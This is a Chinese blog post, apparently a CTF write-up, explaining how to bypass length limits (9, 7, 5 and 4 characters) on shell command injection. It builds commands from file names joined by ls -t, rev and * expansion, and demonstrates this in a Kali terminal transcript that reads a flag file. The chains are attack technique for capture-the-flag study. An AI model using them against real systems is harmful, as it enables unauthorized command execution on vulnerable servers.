首页 > 其他分享 >有长度限制的命令执行

有长度限制的命令执行

时间:2022-10-23 23:23:16浏览次数:45  
标签:限制 kali ht 命令 ls sl test 长度

有长度限制的命令执行

长度9
大多数常用的命令长度都小于9,所有都可以直接执行
ls /
cat /flag....
长度7
cat /flag:这个命令长度为8,那么正常的命令是执行不了的。
我们可以通过把命令写入到文件名里面,从而通过创建多个文件,把含有命令的文件名写入到一个文件中,再去执行这个文件,就可以执行我们的命令

linux中可以用\使指令连接下一行,这样就可以写多行命令了
文件中前面命令出错,会自动跳过,不影响后面命令的执行
以用sh,bash,source, .来执行一个脚本。
两个\,是因为要转义,不然的话就会认为是当前的命令会连接下一行了:
/*代表所有目录和所有文件
./*代表当前目录所有目录文件
例如:mkdir a#创建a目录
   #: >a                     
   #: >mkdir\ \\
   #: ls -t >3          把目录下的文件名按照创建时间写入到文件3中
   #: sh 3              可以利用source ,bash执行脚本文件
例如:echo Y2F0IC9mbGFn|base64 -d>feng
#:>eng\\
#:>\>f\\
#:>-d\\                        abcd
                                
#:>4\ \\
#:>se6\\
#:>ba\\
#:>n\|\\
#:>GF\\
#:>9mb\\
#:>IC\\
#:>F0\\
#:>Y2\\
#:>o\ \\
#:>ech\\
#:ls -t>0
#:sh 0


长度5
与7长度相比,5长度了 ls -t>1命令用不了,所以目的就是构造出这个命令
#:>s\\                
#: >l\\
#: >\>0
#: >\ -t\\
#:ls>a
#: ls
'>0'  'l\'  's\'  ' -t\'  输入的字符排列是按字符顺序排列的,所有可以通过>>覆盖输入两次ls
#:ls>>a
 >0
a
l\
s\
 -t\
>0                  //这样就构造出ls -t>0
a
l\
s\
 -t\
#: sh 0
长度4
由于ls>>a长度是五所以不能追加构造
dir:虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 字母 序中靠前,二是按列输出,不换行。

*:相当于$(dir *),所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.
rev:可以反转文件每一行的内容。





因为字符限制为4,ls>>?命令不能使用了,可以使用rev命令进行逆序。ls -t>g这个命令逆序也不能实现,因为t在字典序中是比s大。如果是逆序的话,需要一个比s小的字母。在ls中有个参数-h,它与-l一起使用,使输出更加具有可读性。与其他参数一起则没有影响。因此可以构造ls -th>g
#:>dir
#:>sl
#:>g\>
#: >ht-
#: ls
dir  g>  ht-  sl           // 系统排序是按字母表顺序排的,所有顺序是可以知道的
#: *
g> ht- sl                //*的作用就是把列出的第一个文件名做命令
#: *>v
#: >rev 
#:*v>x                 //*v
#: sh x

在这里插入图片描述

┌──(kali㉿kali)-[~/test]
└─$ >dir
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >sl                                                                                                                                              130 ⨯
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >g\>         
130 ⨯
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >ht-                                                                                                                                             130 ⨯
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ ls                                                                                                                                               130 ⨯
 dir  'g>'   ht-   sl
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *
g>  ht-  sl
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *>v
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ cat v  
g>  ht-  sl
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >rev
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *v>x                                                                                                                                             130 ⨯
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ cat x
ls  -th  >g
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ sh x                  
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ cat g
g
x
rev
v
ht-
g>
sl
dir
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *v  
ls  -th  >g
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ * 
g  g>  ht-  rev  sl  v  x
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ ls
 dir   g  'g>'   ht-   rev   sl   v   x
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ sS

标签:限制,kali,ht,命令,ls,sl,test,长度
From: https://www.cnblogs.com/GTL-JU/p/16820016.html

相关文章

  • Linux中tac命令倒序查询日志
    cat命令是正序开始查询日志比如:catxxx.log|grep"sssdsd"如果日志文件比较大,那么会很慢或者直接出错 可以使用tac命令,这个是cat反过来写tacxxx.log|grep"sssdsd"......
  • Mysql 解除90天限制
    在开始中输入mysql,选择如图所示的’mysql5.7commandlineclient’在弹出来的界面中,首先输入密码:123456(这个是MySQL的登录密码)然后依次输入四句话,出现图片中的提......
  • df命令(df命令完成什么功能)
    linux的df命令怎么用啊?功能:检查文件系统的磁盘空间占用情况.可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息.语法:df[选项]说明:df命令可显示所有文件......
  • 【Linux】2.vi&&vim相关命令
      1.拷贝当前行,并粘贴yy当前行,p粘贴到当前行下一行*5yy当前行,p粘贴当前行下5行到下一行2.删除当前行dd删除当前行*5dd删除当前行下5行3.查询关键词/关键词+回......
  • centos7 防火墙及开放端口的常用命令
    开放centos系统tcp端口firewall-cmd--zone=public--add-port=待开放的端口号/tcp--permanent让端口生效firewall-cmd--reload查看防火墙所有开放的端口fi......
  • Redis 02: redis基础知识 + 5种数据结构 + 基础操作命令
    Redis基础知识1)、测试redis服务的性能:redis-benchmark2)、查看redis服务是否正常运行:ping如果正常---pong3)、查看redis服务器的统......
  • 方法重载/命令行传参
    方法重载重载就是在一个类中,有相同的函数名称,但新参不同的函数方法重载方法重载规则:方法名称必须相同参数列表必须不同(个数、类型或是参数排列顺序不同等)方法的返回......
  • GIT命令部分解释
    gitclone+"地址"下载项目地址 npmi补全下载项目的所有插件 gitstatus查看状态状态详解红色修改了工作区代码,还没add绿色修改了工作区代码,已经......
  • 命令行远程重启Windows
    前提条件:想要远程控制Windows,双方之间网络必须互通,且对端需要开启IPC$,并且本地能访问对端计算机的445端口(Telnet测试下对端445端口是否能连上)1、开启IPC$netshare......
  • 如何用命令行语句在mysql创建库
    mysql三条创建语句创建库createdatabasediarydefaultcharsetutf8mb4;创建用户createuserdiary@localhostidentifiedby'diary';或createuser'four'@'%'iden......